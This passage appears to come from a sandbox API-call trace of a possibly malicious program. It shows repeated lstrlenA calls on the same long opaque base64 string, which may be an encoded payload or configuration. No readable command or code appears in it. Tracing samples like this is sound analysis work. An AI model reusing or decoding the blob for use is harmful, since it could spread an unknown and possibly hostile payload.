(lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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